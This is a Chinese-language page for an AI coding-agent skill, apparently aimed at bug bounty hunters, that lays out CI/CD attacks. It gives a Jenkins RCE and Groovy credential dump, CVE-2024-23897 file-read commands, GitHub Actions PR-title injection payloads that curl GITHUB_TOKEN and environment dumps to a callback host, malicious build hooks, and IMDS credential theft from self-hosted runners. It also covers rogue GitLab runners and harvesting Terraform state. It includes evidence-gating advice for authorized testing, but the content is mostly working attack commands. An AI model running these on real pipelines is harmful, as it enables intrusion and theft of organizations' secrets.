关于 hunt-cicd
hunt-cicd 是面向安全测试人员的 CI/CD 流水线安全审计技能,覆盖 Jenkins、GitHub Actions、GitLab CI 和 Terraform 状态文件等场景。它强调先追踪不可信输入到执行点,并以可观察证据确认漏洞影响。
主要功能
- 01Jenkins 控制台与文件读取检查
- 02GitHub Actions 注入与 Runner 风险审计
- 03OIDC 信任策略与缓存投毒检查
- 04CI 日志、制品与密钥泄露排查
- 05GitLab CI Runner 与变量审计
- 06Terraform 状态文件敏感信息检查
适用场景
- 01审查 Jenkins 脚本控制台及凭据暴露
- 02排查 GitHub Actions 工作流中的不可信输入执行
- 03检查自托管 Runner 与云角色信任配置
- 04从 CI 日志、制品或状态文件追查密钥泄露
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-cicd安装后在 Claude Code 中输入/hunt-cicd确认已加载。
详细介绍
HUNT-CICD — CI/CD 流水线安全
皇冠明珠目标
可访问 Jenkins /script 控制台 = 立即获得 RCE。GitHub Actions 中的 pull_request_target(或 workflow_run)工作流若检出 PR head ref,并在 shell run: 中引用不受信任的 ${{ github.event.* }},就会变成“Pwnrequest” → 无需任何审批,即可从 fork PR 窃取机密。
价值最高的发现:
- Jenkins Script Console — Groovy 执行 → 完全 RCE → 转储凭据存储
- Jenkins CLI 文件读取(CVE-2024-23897) — 未认证的
@/etc/passwd参数展开 → 读取secret.key/credentials.xml→ 伪造管理员身份 → RCE - GitHub Actions
pull_request_target注入(Pwnrequest) — fork PR 可控制特权 shell 步骤中的${{ }}→ 窃取GITHUB_TOKEN(通常具有contents:write权限)和组织机密 - 自托管 runner 投毒 — 公共仓库中的非临时 runner 执行 fork PR 的构建 → 攻击者代码在 runner 主机上运行 → 持久化 + 窃取机密
- OIDC 信任策略滥用 — AWS IAM 角色信任策略中的
sub声明通配符范围过宽 → 组织中的任何工作流都能担任特权云角色 - Terraform 状态泄漏 — 公共 S3/GCS/Blob 中的
*.tfstate→ 明文基础设施凭据、数据库密码、私钥 - Runner 令牌 / 构件 / 日志泄漏 — 注册攻击者 runner,或窃取
::add-mask::打码前输出的机密
“没有证据就不能声称”关卡(先读)
CI/CD 漏洞发现经常被过度报告,因为仪表板看起来似乎可利用。在声称发现任何问题前:
- 登录页面不等于 RCE。 可访问的
/scriptURL 若返回 Jenkins 登录页面或403,就不是未认证脚本控制台。只有实际的scriptTextPOST 返回你的命令输出,才算数。 pull_request_target工作流并非自动存在注入漏洞。 只有不受信任的数据流入执行接收点时,才可利用。确认数据流(参见误报部分)后,才能创建 PR。- 盲注入需要带外验证。 如果你无法读取易受攻击步骤的输出,就必须通过 Burp Collaborator / interactsh 确认——使用每个接收点专属的子域名,由 runner 向其发起请求。工作流“运行成功”不能证明你的代码已执行。
- 只有解析
.tfstate文件后,HTTP 200 才能算凭据暴露。 与基线进行比较(参见误报部分)——许多tfstate文件只包含资源 ID 和输出,不含机密。
阶段 1 — Jenkins:检测、脚本控制台、CVE-2024-23897
# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done
未认证脚本控制台 → RCE(仅当 POST 返回输出时):
# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
--data-urlencode 'script=println "id".execute().text'
转储凭据存储(Groovy 会解密 UI 隐藏的机密):
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.secret}"
}
CVE-2024-23897 — 通过 Jenkins CLI 在认证前任意读取文件(args4j @ 文件展开;影响 ≤2.441 / LTS ≤2.426.2)。在允许匿名读取的情况下,可通过读取 secret.key + master.key 来解密 credentials.xml,或读取用户的 config.xml API 令牌,从而升级为 RCE:
# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
# @/var/lib/jenkins/secret.key @/var/lib/jenkins/secrets/master.key
# @/var/lib/jenkins/credentials.xml
验证:响应必须包含真实文件内容(root:x:0:0)。若只返回通用的“no such agent”,且没有泄漏任何行,说明实例已打补丁或路径错误——不算漏洞发现。
阶段 2 — GitHub Actions:Pwnrequest、${{ }} 注入 Shell、Runner 投毒、OIDC
核心区别(90% 的虚假 PoC 都栽在这里)
有两类漏洞汇点——它们需要不同的载荷:
${{ }}模板展开到 shellrun:中——表达式会在 shell 运行之前替换进脚本,因此,不可信字段中的换行符、反引号或$(...)会变成字面 shell 代码。这是经典的注入。- 在 shell 中读取环境变量——
GITHUB_TOKEN、secrets.X和任何映射到env:的值都是 shell 变量,其值就是字符串。要将它们外传,请使用echo/printenv,绝不要使用cat $VAR(这会尝试打开一个以令牌为文件名的文件,并且什么也不会打印)。
# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target # runs with write token + secrets, on fork PRs
jobs:
build:
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} } # checks out ATTACKER code
- run: echo "Building PR ${{ github.event.pull_request.title }}" # ← ${{ }} INJECTION
通过 ${{ }} 漏洞汇点发起攻击——将 PR 标题(或分支名称、正文、标签、提交消息——这些都由攻击者控制)设置为跳出 echo 并运行自己的命令。使用 printenv 外传令牌,而不是 cat:
PR title: a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "
对于多行 YAML run:,注入换行符更简洁:
PR title: foo\n curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)
通过受污染的检出内容发起攻击(无需 ${{ }})——如果 pull_request_target 检出了 PR 头部分支,然后运行构建脚本/从检出的树中安装依赖(make、带有恶意 preinstall 的 npm ci、Makefile、PR 中的 .github/ action),那么运行器会直接执行攻击者代码。将代码放入任意构建钩子:
# in attacker's PR, e.g. package.json preinstall or Makefile:
curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0 # captures secrets injected as env
自托管运行器投毒——如果公开仓库中的 pull_request/pull_request_target 使用 runs-on: self-hosted(或自定义标签),那么 fork PR 的作业会在组织自己的主机上运行。非临时运行器会在作业之间保留工具/凭据。在作业内部读取运行器的身份和元数据进行确认:
- run: |
whoami; hostname; id
curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"
滥用 OIDC 信任策略——通过 OIDC 使用 configure-aws-credentials 来代入 IAM 角色的工作流,如果其信任策略缺少 token.actions.githubusercontent.com:sub 条件,或使用宽松的通配符(repo:ORG/*:*),那么组织中的任何工作流(包括你可以合并的恶意工作流,或因触发器配置错误而运行的 fork)都可以代入该角色。检查该角色:
aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).
然后证明这一点:在组织内部由你控制的工作流中代入该角色,并运行 aws sts get-caller-identity,使其返回特权角色 ARN。
侦察
# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
| jq -r '.data.organization.repositories.nodes[].name' | while read r; do
for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
echo "CANDIDATE: ORG/$r/$wf"
done
done
在创建任何 PR 之前,先使用静态分析器筛查候选项:gh extension install rhysd/actionlint,或运行 zizmor(pip install zizmor; zizmor .github/workflows/),它会专门标记模板注入和危险的检出模式。
Actions 缓存投毒
默认情况下,GitHub Actions 缓存不会在不同分支之间隔离信任:攻击者分支/fork PR 中的工作流可以写入缓存条目(键或 restore-key),随后默认分支上的特权工作流会恢复该条目,将攻击者文件(构建二进制文件、依赖项、脚本)注入可信构建中 -> 在特权上下文中执行代码。检查缓存 action 是否以受攻击者影响的值作为键,以及特权流水线是否使用不可信作业可以填充的前缀执行 restore-keys。
第 3 阶段 — 日志和制品中的机密
# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done
# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'
请注意,actions/upload-artifact 不会对机密进行脱敏——名为 env/debug 的制品是常见的直接泄漏途径。
第 4 阶段 — GitLab CI
# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK" # masked? protected?
curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"
# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"
仅有注册令牌不构成发现,除非该实例允许使用此令牌注册运行器,且该运行器会执行目标项目的流水线。通过注册一个由你拥有的临时运行器,并捕获作业的掩码变量来证明问题。
第 5 阶段 — Terraform 状态泄漏
# Probe common public-bucket/path patterns (parameterize $T and $ORG)
for U in \
"https://$ORG.s3.amazonaws.com/terraform.tfstate" \
"https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
"https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
"https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
"https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")
[ "$code" = "200" ] && echo "[+] 200 $U" && \
jq -r '.resources[].instances[].attributes
| to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
| "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
# Also hunt state in repos / backend configs
gh search code --owner ORG "terraform.tfstate" --limit 10
gh search code --owner ORG 'backend "s3"' --limit 10
**误报筛选:**仅列出 id、arn、tags 的 tfstate 不属于机密泄漏。运行上面的 jq,并确认至少存在一个有效凭据(真实的 password、private_key、RDS 主密码或尚未轮换的访问密钥)。然后通过只读方式使用该凭据来证明影响(aws sts get-caller-identity、返回横幅信息的数据库连接)——不要只声称“状态中有凭据”。
阶段 6 — 构建产物 / 镜像分析
docker pull ORG/IMAGE:latest
docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
# Layer-level scan catches secrets removed in a later layer but still present in history:
trufflehog docker --image ORG/IMAGE:latest --only-verified
--only-verified 会筛选出 trufflehog 能够实际验证的凭据——在报告之前使用它来排除过期或示例密钥带来的噪声。
有依据的参考资料(具名案例 / CVE)
- Pwnrequest /
pull_request_target类 — GitHub Security Lab(Jaroslav Lobačevski),《确保 GitHub Actions 和工作流的安全:不可信输入》。关于来自分支 PR 的机密外泄和危险 checkout 模式的原始文章。 - GitHub Actions 工作流命令注入 — CVE-2020-15228 —
set-env/add-path工作流命令允许从日志输出中注入环境变量/PATH;这促使相关命令弃用,并改用$GITHUB_ENV。 - Jenkins CLI 任意文件读取 — CVE-2024-23897 — args4j 的
@前缀文件展开(Jenkins ≤2.441 / LTS ≤2.426.2),读取secret.key/credentials.xml→ 管理员权限 → RCE。 - Jenkins Stapler RCE — CVE-2018-1000861 — 动态路由可访问
groovy.lang.GroovyShell;这是旧版 Jenkins 上未经身份验证的脚本执行链中的经典漏洞。 - PortSwigger / Liam Galvin 等人 — 关于 GitHub Actions 注入接收点(标题/分支/正文/标签)以及将
${{ }}模板替换进run的攻击向量的研究;这是上文引用的 actionlint/zizmor 检测规则的依据。
(仅列出我能够准确注明来源的 CVE 和案例。提出相关问题前,请确认运行版本是否处于该 CVE 的受影响范围内。)
攻击链表
| CI/CD 发现 | 攻击链 | 影响 |
|---|---|---|
| Jenkins 匿名脚本控制台 | 转储凭据存储 → 云/DB 凭据 → 横向移动 | 严重 |
| Jenkins CLI 文件读取(CVE-2024-23897) | 读取 secret.key+credentials.xml → 伪造管理员身份 → RCE | 严重 |
Actions ${{ }} 注入(Pwnrequest) | printenv GITHUB_TOKEN/机密信息 → 推送到受保护分支 | 严重 |
| 自托管 Runner 投毒 | 在 Runner 主机上执行代码 → IMDS 凭据 → 持久化 | 严重 |
OIDC sub 通配符 | 从任意组织工作流中 AssumeRole 获取特权云角色 | 严重 |
| 含有效凭据的 Terraform 状态 | 使用基础设施/DB/API 凭据 | 严重 |
| GitLab Runner 注册 | 注册 Runner → 获取流水线机密 | 高/严重 |
| 镜像/日志/构建产物中的机密 | 直接使用凭据 | 高 |
验证规范(每项发现都应在报告前完成)
- Jenkins 控制台:
scriptTextPOST 返回你的id输出(uid=…(jenkins))。如果返回登录/SSO/Crowd 页面,则说明并非匿名访问。截取请求和响应的屏幕截图。 - CVE-2024-23897: 响应包含真实的
/etc/passwd内容;确认版本处于受影响范围内。已修补的实例会返回错误,且不泄露任何行。 - Actions 注入: 首先确认数据流入接收点(误报部分)。盲测步骤 → 必须收到来自 Runner 源 IP 的 Collaborator 回调。通过
printenv//proc/self/environ将令牌外泄到你的端点并解码——切勿cat $GITHUB_TOKEN。 - OIDC 滥用: 通过你控制的工作流运行
aws sts get-caller-identity,确认其返回特权角色 ARN——仅仅信任策略看起来较宽松并不足以证明。 - Terraform 状态:
jq提取出至少 1 个有效机密,然后通过只读身份验证予以证明。状态中只有 ID/ARN = 不构成发现。 - Runner 令牌 / 镜像 / 日志: 证明机密能够通过身份验证(trufflehog
--only-verified,或实际 API 调用)——仅仅获得一个字符串并不代表有影响。
需要撤回的常见误报
/script返回登录页面(需要身份验证),却被报告为“未授权 RCE”。- 存在
pull_request_target,但不受信任的输入从未到达危险操作位置(例如,仅在if:中用于检查github.actor,或工作流使用的是pull_request而非_target)。 ${{ }}引用已包裹在env:块中,并在 shell 中加引号(推荐的安全模式)——这不会造成注入。.tfstate返回 200,但仅包含资源元数据。- GitLab 变量已屏蔽且受
protected保护,只会暴露给攻击者无法推送更改的受保护分支。 - Trufflehog 标记为“未验证”的命中项,实际是示例密钥或已过期密钥。
严重性: Jenkins 控制台 / CVE-2024-23897 / Actions 密钥外泄 / 运行器投毒 / OIDC 角色承担 / Terraform 实时凭据 = 严重。镜像/日志/制品中的密钥 = 根据凭据权限范围,严重或高危。